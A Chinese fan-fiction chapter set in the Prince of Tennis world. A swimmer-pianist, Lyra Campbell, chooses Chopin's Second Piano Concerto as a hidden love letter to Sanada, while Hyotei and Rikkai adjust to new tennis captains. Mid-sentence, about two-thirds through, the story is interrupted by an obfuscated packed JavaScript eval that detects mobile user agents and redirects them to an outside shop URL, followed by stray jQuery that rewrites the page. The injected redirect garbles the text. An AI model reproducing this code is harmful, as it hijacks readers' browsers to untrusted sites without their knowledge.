四月下旬，冷冻室里的最后一块蛋糕终于被Leo在早餐时吃掉。母亲发现时，冰箱里只剩下一只空盘子。
“我是不是说过，不要把蛋糕当早餐？”
“我还吃了鸡蛋。”Leo坐在餐桌旁，面前摊着英国学校寄来的课程资料，“碳水、脂肪和蛋白质都有。”
岑韵从楼梯上下来，正好听见最后一句：“你越来越像爸爸了。”
“爸爸只会指出，这种计算方法不够严谨。”
母亲收起空盘子，又确认了一遍岑韵当天需要带的体检表和学生证。
Leo抬起头：“室内鞋呢？”
岑韵抓起纸巾扔向他。
“高中已经开学三个星期了，这个玩笑可以结束了。”
纸巾正好落在Leo的课程说明上。他把它拿开，没有继续提醒她生日那天差点迟到的事实。
四月进入最后一周以后，高中生活终于从入学、选课与社团登记中恢复成固定秩序。每天早晨，岑韵按照同一条路线前往冰帝。上午完成课程，午休有时去图书馆，有时留在教室处理国语阅读。放学以后，她先去游泳馆，再根据乐团安排前往音乐楼。
与国中阶段相比，校园没有真正改变。变得最明显的是她自己。
星期一下午，高中部运动社团统一进行身体测量。更衣室外的记录桌上摆着身高仪、体重秤与按照年级整理的档案。高中部新生需要重新建立记录，佐藤教练也调出了岑韵国二入社时的数据。
负责登记的经理看了一眼旧表：“身高一百六十二厘米？”
“那是两年前。”
岑韵脱下鞋，站到身高仪下方。横板落到头顶。经理确认数字以后，又重新看了一遍姓名。
“一百七十三。”她在新表上写下数字，“两年长了十一厘米？”经理又看了一眼旧记录，像是在确认名字没有对应错误。“难怪你去年的训练服全部换过一次。”
“袖子和裤腿都太短了。”
佐藤教练接过记录表，又重新测量了她的臂展、肩宽与腿长。
两年前，岑韵的身体还保留着明显的儿童比例。肩膀窄，四肢纤细，力量训练也主要依赖自重和核心控制。过去一年里，她的身高增长集中在腿部和躯干。肩背已经拥有更加稳定的力量，手臂也比国二时长了许多。从身体条件来看，她比过去更适合长距离自由泳与混合泳。
问题是，原来的技术节奏已经不再完全适用。
她每一次划水都能让身体向前移动得更远，最后一次入壁却仍然按照从前的位置开始。有时距离池壁太近，手臂无法完整伸展；有时又提前收力，不得不补上半次仓促的动作。
出发也一样。腿部力量增加以后，她离开出发台的速度更快，入水位置更远，身体控制却没有立刻追上新的力量。几次水下滑行都比预计更深。
这些问题并非第一次出现。过去一年里，佐藤教练一直在替她调整动作，只是她的身高尚未真正稳定，所有训练都只能不断修正。
当天训练结束以后，岑韵在更衣室里重新看了一遍测量表。身高一百七十三厘米。臂展、腿长和力量测试全部发生了变化。
只有名字没变：CAMPBELL LYRA。
岑韵拍了一张身高记录，发给真田。
——173厘米。
真田大概刚刚结束训练，几分钟以后回复：
——长高了。
——我以为我们认识这么久，你已经观察到了。
——上一次测量是多少？
——国二入学，大概162。
屏幕安静了一会儿。
——11厘米。
——数学学得不错。
后面是一个很无奈的表情。
——身体状态有变化吗？
岑韵原本以为他会继续评价身高。结果第一句仍然回到训练。
——力量和划水距离都增加了，但转身与出发需要重新调整。教练准备暂时不看成绩，先重新测技术数据。
真田隔了一会儿回复：
——合理。
岑韵坐在更衣室长椅上，唇边出现一点笑意。
——我还以为你会说，知道问题就应该尽快纠正。
——需要纠正。但身体变化不能依靠加练直接解决。
过去的真田未必会如此自然地承认，有些问题无法通过加练立刻纠正。全国大赛、幸村的身体状况，以及他自己的伤势，确实在他身上留下了变化。
岑韵回复：
——看来那本运动恢复资料没有白送。
——不是因为那本书。
——书里写得很好。
——我以前也知道。
——知道却不一定会做。
真田没有立即回答。过了一会儿，他只发来一句：
——记得吃饭。
岑韵收起手机。从游泳馆走到音乐楼，需要经过高中部网球场。四月底的天已经比开学时长了许多。放学一个多小时以后，球场上仍然有清楚的阳光。
高中部网球部正在进行校内排名训练。迹部站在最靠里的球场。他进入高中部不到一个月，便已经正式担任部长。
这件事在冰帝没有引起太多争议。
并不是所有高年级学生都愿意接受一年级担任部长。最开始几次排名赛，也确实有人认为，迹部在国中部的成绩不应该直接等同于高中部的位置。
迹部没有解释。他只是按照冰帝一贯的规则接受挑战。输的人让出球场。连续几周以后，部长名单上只剩下最合理的那个名字。
岑韵经过围网外时，迹部正在进行发球训练。
第一颗球落在外角。
第二颗位置更深。
第三颗击中场边设置的目标区域，几乎没有偏差。
迹部没有因为已经成为部长便只站在场边安排训练。他自己的计划反而比其他人更加紧密。常规社团训练结束以后，他还会保留一组个人训练，为六月底即将开始的集训做准备。
他完成最后一次发球，直接看向围网外：“看够了？”
“只是经过。”
“你已经站了两分钟。”
“目标区域比上星期小了。”
迹部将球拍交给旁边的成员：“这种程度还不值得特别评价。”
“高中部部长比国中时更忙吗？”
“管理范围更大，但部长的职责不是亲自完成所有事情。”
迹部拿起毛巾，擦掉手臂上的汗：“需要本大爷决定的事，由本大爷决定。其他人可以完成的部分，没有必要全部集中到一个人手里。”
岑韵看向另一侧球场。忍足正坐在场边整理新的训练记录。
“这听起来不像国中时的你。”
“国中时也一样。”
“你会亲自检查每一个训练组。”
“因为当时没有人达到足够标准。”回答依然十分迹部。
岑韵没有与他争论，只问起已经接任国中部部长的日吉。
“正常。”迹部回答。
新学期开学以后，他只回过国中部球场两次。第一次确认正选名单，第二次检查训练计划。
日吉没有表现出需要帮助的意思。他沿用了冰帝原有的排名制度，又把国中部训练分成更明确的基础组与挑战组。凤负责协助新生动作训练，桦地与日吉轮流接受内部挑战。
迹部指出过两处训练安排不够高效。日吉修改了其中一处，另一处则坚持自己的判断。
“他没有全部采用你的意见？”岑韵问。
“现在他是国中部部长。”迹部说得理所当然。
他不需要每天回去证明冰帝仍然属于自己。正因为相信自己留下的结构足够稳定，他才能将更多注意力放到高中部，以及六月底即将开始的集训上。
“你准备继续站在这里，直到音乐楼关门？”迹部问。
岑韵低头看了一眼时间：“还有四十分钟。”
“从这里过去需要七分钟。”
“我不会迟到。”
“最好如此。”
岑韵离开围网，向音乐楼走去。
新学期后的第一次完整乐团排练刚刚结束。
交响乐团重新分配了声部。Leo离开以后，第一小提琴首席由一名高中二年级学生接任。几名国中部新生进入弦乐声部，铜管和木管也增加了新的成员。
排练结束以后，几名教师、学生负责人和各声部首席留下讨论夏季音乐会曲目。岑韵原本已经准备收好大提琴，榊监督却让她一起留下。
乐团会在后半场演奏一首完整交响曲，前半场开始则是两首规模较小的作品。前半场的重头戏仍是协奏曲。
负责钢琴指导的老师翻过报名记录，“今年没有其他钢琴独奏申请。”
新任首席笑了一下：“大家大概默认又会是坎贝尔。”
岑韵抬起头，“为什么默认是我？”
“格里格、海顿，已经两次了。”对方说，“而且你最近每周都在问节目什么时候确定。”
岑韵无法反驳。
榊监督将候选曲目表推到她面前：“想弹什么？”
没有人问她是否想再次担任独奏，似乎只需要确认作品。
岑韵低头看向空白的位置。她已经想了很久，并不是从今天开始。生日以后，每天完成规定练习，她都会翻开同一本总谱。
肖邦f小调第二钢琴协奏曲。
她以前完整读过总谱，也练习过大部分她觉得好听的段落，却从来没有按照正式演出的标准准备整部作品。
格里格要求她从第一个和弦开始，立即让整个音乐厅接受自己的声音。海顿则让她学会倾听乐团，不让独奏者的表达覆盖其他声部。
肖邦第二钢协却属于另一种关系。
第一乐章由乐团呈示主题。钢琴需要等待完整的乐队呈示结束，却不是为了含蓄地融入其中。它第一次进入时，声音鲜明而确定。乐团已经说过的主题，被钢琴重新接过。旋律被拉长、装饰，被赋予只有钢琴才能完成的呼吸。
那是一种很奇怪的并存。它希望被所有人听见，又不断在辉煌的外表之下，转向极其私人的倾诉。
真正让岑韵无法放下的，是第二乐章。
钢琴旋律在相对安静的乐队背景上展开，像歌唱，也像一句始终没有直接说出口的话。装饰音并不只是为了华丽，而是不断绕回原来的旋律，让一个简单的情绪获得更多不能用语言说明的细节。
这一乐章经常与肖邦年轻时未曾真正说出口的爱恋联系在一起。
但它也并不只有温柔。中段的弦乐忽然变得不安，钢琴从平静的歌唱中脱离出来，像宣叙调一样反复追问，随后才重新回到最初的旋律。
爱意并没有因为被隐藏而变得平静。有时，越是无法直接说出，越会在另一个地方显得过于强烈。
第三乐章则完全不愿停留在这种沉思里。钢琴与乐团在玛祖卡舞曲的节奏中相互追逐，时而轻快，时而倔强，最后又忽然被推向更加明亮的方向。
它不是一封从头到尾低声诉说的情书。里面有公开的光彩，有只有一个人才可能真正理解的柔软，也有无法安静下来的快乐。
“肖邦第二钢琴协奏曲。”岑韵说。
排练厅安静了几秒。
钢琴老师先问：“完整演奏？”
“完整。”
“六月底以前？”
“嗯。”
“你以前准备到什么程度？”
岑韵如实说明了自己的进度。
老师低头计算了一遍排练时间：“两个月不到。乐团也需要准备，这不是独奏者完成就可以上台的作品。”
“所以我想尽快开始。”
岑韵从自己的乐谱中取出总谱，纸页边缘已经贴满不同颜色的标签：“第一次合排以前，可以先进行声部分组。”岑韵说，“第一乐章的乐队呈示可以单独完成。第二乐章中段和第三乐章的节奏也需要提前确认。钢琴不必参加每一次分排，但我可以全部到场。”
新首席翻了几页：“你什么时候开始整理的？”
“上星期。”
“所以你早就决定了。”
榊监督看过她的标记：“为什么选这首？”
岑韵没有立即回答。当初选择格里格和海顿时，她都能给出明确的理由。
这一次，她当然也知道答案。只是那个答案不适合直接说给整个排练厅。
她最近正处在一种过于明亮的状态里。早晨醒来，会先看见真田训练前发来的消息。课堂间隙，会想起他前一天说过的某句话。经过书店、车站、体育馆或一家普通餐厅时，也会自然想到，如果他在这里，最先注意到的会是什么。
她很快乐。
并不是持续兴奋，也不是每一刻都在想念。
只是生活中多了一个稳定存在的人。
她知道自己的比赛有人记得，生活中的琐碎有人分享，重要的时刻也会有人来见证。
这些情绪并没有因为事件结束便消失。它们仍然留在她每天的生活里，甚至变得更加清楚。
可这种感情也不是单一的温柔。她会期待，会因为短暂分别而想念，也会在看见他出现时，突然产生一种几乎无法隐藏的快乐。克制与冲动并没有相互抵消，而是一直同时存在。
就像这部协奏曲。它可以在所有人面前拥有最明亮的声音，也可以把真正想说的话，藏进第二乐章最安静的旋律里。
岑韵会很多语言，中文、英语与已经足够熟练的日语。可她发现，没有一种语言能够让她准确说明，喜欢一个人究竟是什么状态。
“因为我现在想弹。”她最终回答。
钢琴老师看了她一会儿：“这不是技术理由。”
“技术上可以完成。”
“我问的是作品选择。”
岑韵没有继续解释。
榊监督合上总谱，“下星期先试第一乐章。你与指挥单独排练，确认是否能够按照计划完成。”
“好。”
“准备不足就更换曲目。”
“我知道。”
事情暂时确定下来。
其他人继续讨论编制与排练时间，岑韵坐回大提琴声部旁，低头翻开总谱。
她并不只是想让真田听见这部协奏曲。她想让所有人听见，想让整个音乐厅知道，一个人可以这样快乐，可以这样想念另一个人，也可以因为确定自己正在爱与被爱，便觉得每一个普通日子都拥有了更清楚的方向。
只是没有人需要知道，被爱的人是谁。
节目单不需要写献词，听众也不会在最后一个和弦落下以后得到标准答案。可岑韵仍然想把这部协奏曲当作一封情书。一封写给真田，却要让所有人共同听见的情书。
会议结束以后，她没有立刻离开音乐楼。她申请了使用那间放有施坦威的钢琴教室。推门进去时，迹部已经坐在琴前，正在检查一段左手和弦。
她站在门口：“你的预约时间不是六点以后？”
迹部看了一眼墙上的时钟，“现在六点零二分。”
她低头确认。乐团会议比预计多用了二十分钟。
“我想用琴。”
“预约表上现在是我的名字。”
岑韵抱着肖邦总谱，没有离开。
迹部看见封面：“确定了？”
“下周试奏。”
“肖邦？”
“嗯。”
迹部从琴凳上站起来，“弹。”
“现在？”
“你站在这里不走，不就是想让本大爷让出预约时间？”
岑韵将大提琴盒和包放到墙边：“只弹一段。”
她坐下，重新调整琴凳。没有乐团。钢琴只能从独奏进入的位置开始。
她没有立刻落下双手。脑中先走过乐队呈示最后几小节，直到那个真正属于独奏者的入口出现，手指才落向琴键。
钢琴的第一次进入并不犹豫。强烈的和弦与快速音群切开了教室里的安静。这架施坦威比家中的贝希斯坦更加直接。触键稍微不受控制，声音会变得过于清楚。
开头几句仍然带着一些紧张。快速音群有些地方不够均匀，强奏之后，速度也出现了轻微向前冲的趋势。继续弹下去以后，声音才逐渐松开。
到了更加富于歌唱性的主题，她没有把旋律处理成迟疑的试探。右手的装饰始终围绕着主线，没有遮住真正需要被听见的音。每一次短暂延迟之后，下一句都会重新向前，像是她已经知道，那句话说出去以后不会落空。
她弹到这一段结束，双手离开琴键。
声音消失以后，迹部没有立即评价。
“怎么样？”岑韵问。
“开头的快速音群不够整齐。你一开始把速度推得太快。”
“我知道。”
“副部主题有两处延迟得太多。合排时，乐团不会无条件等你。”
“除此之外呢？”
迹部靠在钢琴旁边，看了她一会儿。“我听出来你最近心情很好。”
她安静了一瞬，“这也可以听见？”
“过于明显。”
“肖邦本来就有这种表达。”
“不要把所有问题推给作曲家。”
迹部拿过她放在谱架上的总谱，翻到第二乐章：“这次你想让别人听见的，显然不是能力。”
岑韵没有说话。迹部也没有追问。他觉得这根本不需要问。
“很奇怪吗？”岑韵问。
“什么？”
“把自己现在的感情放进音乐里。”
“演奏者本来就会带着自己的经验理解作品。”
“那如果经验太私人呢？”
迹部轻轻哼了一声，“坐在音乐厅里的人只会听见作品，不会看见你的日记。”
“可我希望他们听见。”
“那就让他们听见。”他的回答没有迟疑，“不过，情绪不是弹错节奏的借口。”
岑韵从他手里拿回总谱：“你就不能只说前半句？”
“不能。”
“弦一郎也会这样回答。”
“不要把本大爷和他相提并论。”
“你们在某些地方确实很像。”
迹部的神情立刻变得不满。
岑韵已经从琴凳上站起来：“我回家练。”
“明天下午五点以前，这间教室没有预约。”
“你在告诉我可以使用？”
“预约表上写得很清楚。”
“所以不是特意告诉我。”
“当然不是。”
迹部重新坐到钢琴前。
=====
冰帝的高中部网球部逐渐进入稳定状态时，立海大的变化更加明显。
幸村、真田与柳一同升入高中部。与国中时期不同，这一次，幸村没有担任部长，真田也没有继续成为副部长。部长的位置由柳莲二承担。
这个决定并不是因为幸村与真田失去队伍信任。
恰恰相反。
高中部大部分成员都知道，他们参加过U-17世界杯，也知道六月以后，他们很可能再次进入封闭集训。
一支队伍不能让日常管理随着两名主力反复离开而中断。
柳最清楚每名成员的训练状态，也最擅长将个人目标转换成完整计划。他接受部长职位以后，第一件事便是重新整理高中部所有训练记录。
幸村与真田都没有提出异议。训练场上，他们仍然拥有足够的影响力。但部长会议、器材申请、场地分配与新生测试，都交由柳作出最终决定。
真田并没有立刻适应。
一次力量训练中，一名成员减少了最后一组动作。真田正准备开口，柳已经合上记录表：“今天到这里。”
“他的计划还没有完成。”真田说。
“右肩疲劳数据超过正常范围。”
“动作没有明显变形。”
“明天还有对抗训练，”柳的语气十分平静：“这里由我负责。”
球场附近短暂安静。所有人都在等待真田的反应。
他看了柳两秒，“明天重新评估。”
“已经安排。”
争论到此结束。
幸村坐在场边，带着一点很淡的笑意。
训练休息时，真田皱眉看他：“你在笑什么？”
“只是觉得柳很适合当部长。”
柳在旁边记录数据，“弦一郎需要适应的概率为百分之八十七。”
“我没有不适应。”
“你今天已经三次准备代替我安排训练。”
“都是必要提醒。”
幸村说道：“所以柳才需要提醒你，现在谁是部长。”
真田没有真的试图夺回管理权。只是过去三年里，发现问题、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793171|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
纠正问题、维持训练秩序，早已成为他的本能。如今需要学习的，是将这种本能放回新的位置。
集训逐渐接近。幸村与真田的个人训练量都明显增加。幸村重新调整力量与移动计划，重点测试长时间比赛中的神经反应与身体稳定性。真田则继续强化爆发移动、落地控制与不同击球状态之间的转换。
柳没有阻止他们增加训练，但每一项内容都必须被正式记录。
“集训不是两个月后的临时考试。”柳说，“如果现在受伤，之前的准备都没有意义。”
=====
高中部的秩序比预想中更加稳定。真正发生混乱的是国中部。
切原赤也正式成为立海大附属国中网球部部长后的第一周，训练场同时出现了三个问题。
两个训练组被安排在同一块球场；新生基础训练比规定时间延长四十分钟；当天使用的比赛球少了整整一筐。
柳收到消息时，正在高中部球场记录发球数据。他看了一眼手机。
“赤也说，球没有少，只是不知道放在哪里。”
幸村问：“这两者有区别吗？”
“在他的理解里，可能有。”
真田已经拿起外套：“我去国中部。”
柳合上记录，“一起。”
三个人到达国中部球场时，混乱比消息中更加明显。
一组新生正在进行折返跑。另一组原本应该练习截击，却因为球场被占用，只能站在围网外等待。几名二年级成员正在器材室里寻找失踪的球筐。
切原站在球场中央，一边监督新生训练，一边完成自己的击球练习。他刚刚连续打出十几颗高速回球，又立刻转身喊道：“最后三组！速度不要掉下来！”
一名一年级学生已经明显无法维持动作。
真田的眉头立刻皱起：“赤也。”
切原听见声音，整个人停住。
“前、前辈？”他看见三个人同时出现，脸上的表情迅速从惊讶变成紧张：“你们怎么来了？”
柳抬起记录板：“因为你的训练计划同时占用了两块不存在的球场。”
切原低头看了一眼：“怎么可能？我明明写了——”
他从口袋里找出折叠过几次的纸。两张训练表黏在一起。下午四点到五点的安排被重复写在同一场地。
“只是写错了。换一下就可以。”
“新生为什么还在折返跑？”真田问。
“他们没有完成规定次数。”
“规定多少？”
“和正选一样。”
真田的神情沉下来，“他们入部不到一个月。”
“所以更要尽快跟上，”切原握紧球拍，“立海大不能因为前辈们升入高中部就变弱。”
“我现在是部长。如果我要求不够高，他们以后比赛会输。”
柳问：“所以你让所有人执行你的训练量？”
“我也全部做了。”
“这句话没有错。”真田说。
切原立即抬起头。
“但是，”真田继续，“你对自己的要求，不能直接成为所有人的训练标准。”
“以前前辈也是这样要求我的。”
“因为你能够完成。”
“他们也应该完成。”
“现在不能完成，不代表永远不能完成，”真田看了一眼仍然在调整呼吸的新生：“训练的目的不是让部员在今天全部倒下。”
切原没有说话。他的表情里仍然带着不服气。他显然没把誓师会上前辈们的建议记下。
幸村走到场边，捡起一颗没有被收回球筐的网球。
“赤也，你认为部长应该做什么？”
“让立海大赢。”
“还有呢？”
“让所有人变强。”
“怎么变强？”
切原停住。过去，他只需要接受安排。真田要求他增加训练，他便完成。柳指出技术问题，他便修改。幸村站在部长位置上时，整个网球部似乎天然知道下一步应该做什么。直到前辈真正离开，他才发现，自己并不知道那些决定究竟怎么来的。
“我不知道。”切原最终说道。
真田没有训斥。
柳从他手中拿走那张被折叠得很乱的训练计划。
“明天重新安排。正选组保持现有强度，新生从基础动作开始。二年级负责器材和场地确认。”
“可是我是部长。”
“所以更不应该同时训练、记录、安排球场，还要亲自寻找球筐。”
幸村补充：“部长不是证明你一个人可以填补我们所有人的位置。”
切原抬起头。这句话比任何批评都更直接。他从成为部长的第一天起，便在试图同时模仿三个人。像幸村一样不允许队伍失去方向；像真田一样保持严格；像柳一样记住所有训练细节。
结果是，他每天最早到达、最晚离开，自己的训练没有减少，队伍却仍然出现越来越多的问题。
“那我应该怎么做？”他问。
柳把训练计划递回去：“先确认今天丢失的球筐在哪里。”
切原的表情僵了一下。
幸村轻轻笑起来：“这是部长目前最需要解决的问题。”
最后，球筐在器材室最里面被找到。切原上午为了腾出位置，把它移到一组旧训练垫后方，之后完全忘记了。
当天训练结束以前，柳重新完成第二天的安排。真田没有代替切原训话。幸村也没有要求所有国中部成员继续沿用过去的方式。他们只在离开前告诉切原，下周需要由他自己重新提交计划。
从国中部返回高中部的路上，真田仍然皱着眉。
“太松懈了。”
“比预想中好。”幸村说。
“哪里好？”
“至少他已经知道，自己不知道。”
柳点头：“承认信息不足，是修正计划的第一步。”
“他成为部长以前就应该考虑这些。”
“真田，”幸村说道，“你第一次担任副部长时，也不是立刻学会所有事情。”
“我没有把球筐弄丢。”
“但你第一次安排晨训，把集合时间定在五点。”
“那是合理时间。”
“除了你，没有人这样认为。”
柳平静地补充：“当天迟到率为百分之六十三。”
真田不再说话。
当天晚上，岑韵收到真田的消息时，刚刚结束协奏曲练习。
——赤也成为部长以后，训练安排出现问题。
——严重吗？
——两组使用同一球场。新生训练量过高。球筐一度找不到。
她看着最后一句，忍不住笑了一下。
——球筐找到了吗？
——都在。
——那还不算最严重。
——这不是重点。
——我知道。他是不是想把所有事情都做好，同时还不肯减少自己的训练？
——嗯。
——听起来很像你。
屏幕安静了很久。
——不像。
岑韵笑意更明显。
——哪里不像？
——我不会弄丢球筐。
果然，重点仍然落在这里。
——除了球筐呢？
真田没有立即回答。岑韵等了一会儿，才看见新的消息。
——有一些相似。
这已经是非常难得的承认。
——你们帮他重新安排了？
——莲二负责。下周由赤也自己完成。
——柳现在是高中部部长，但你会不会还是很想管？
——有时会。
——然后呢？
——由他决定。
很简单的四个字。岑韵却能想象真田站在球场边皱着眉，明明已经看见问题，却仍然让柳作出最终判断的样子。
岑韵看向钢琴上的总谱。协奏曲似乎也是如此。独奏者可以拥有最清楚的声音。却不能因为自己能够被所有人听见，便代替乐团决定每一次呼吸。
——我的夏季音乐会曲目暂时确定了。
她发出消息。
——什么？
——肖邦第二钢琴协奏曲。
真田过了一会儿回复：
——完整演奏？
岑韵有些意外。
——你知道这首有几个乐章？
——三个。看过一些介绍。
——什么时候？
——你以前讲到肖邦的时候。
岑韵不记得自己具体在哪一次谈话中说过。
——六月二十八日晚上。如果集训报到时间没有冲突，你要来吗？
这一次，真田没有让她等太久。
——会去。
——全曲很长。
——我会听完。
——你可能听不出我哪里弹得不好。
——你会告诉我。
岑韵靠在琴凳上。
——那如果我不想告诉你呢？
——迹部会说。
这个答案完全出乎预料。她忍不住笑出声。
——你为什么默认迹部会听？
——冰帝的音乐会，他通常会在。
——确实。
真田又问：
——为什么选这首？
岑韵的手停在屏幕上方。排练厅里，她没有告诉榊监督。钢琴教室里，她也没有向迹部承认。现在面对真正的收件人，她依旧无法直接把原因写出来。
——因为现在很想弹。
真田没有追问理由。
——那就准备好。
——只有这个？
——还有两个月。既然决定了，就应该完成。
听起来仍然像训练要求。她说想弹。他便认为她应该完成。演出那天，他会坐在观众席里，从乐团奏出第一个音开始，一直听到最后一个和弦。这已经足够。
她不想在总谱上写下献词，也没有准备向任何人解释作品与真田之间的关系。
六月底，观众只会在节目单上看见：
肖邦f小调第二钢琴协奏曲。
钢琴：Lyra Campbell。
没有人会知道，这封情书真正写给谁。
但等她坐到舞台中央，整个音乐厅都会听见，她正在怎样爱一个人。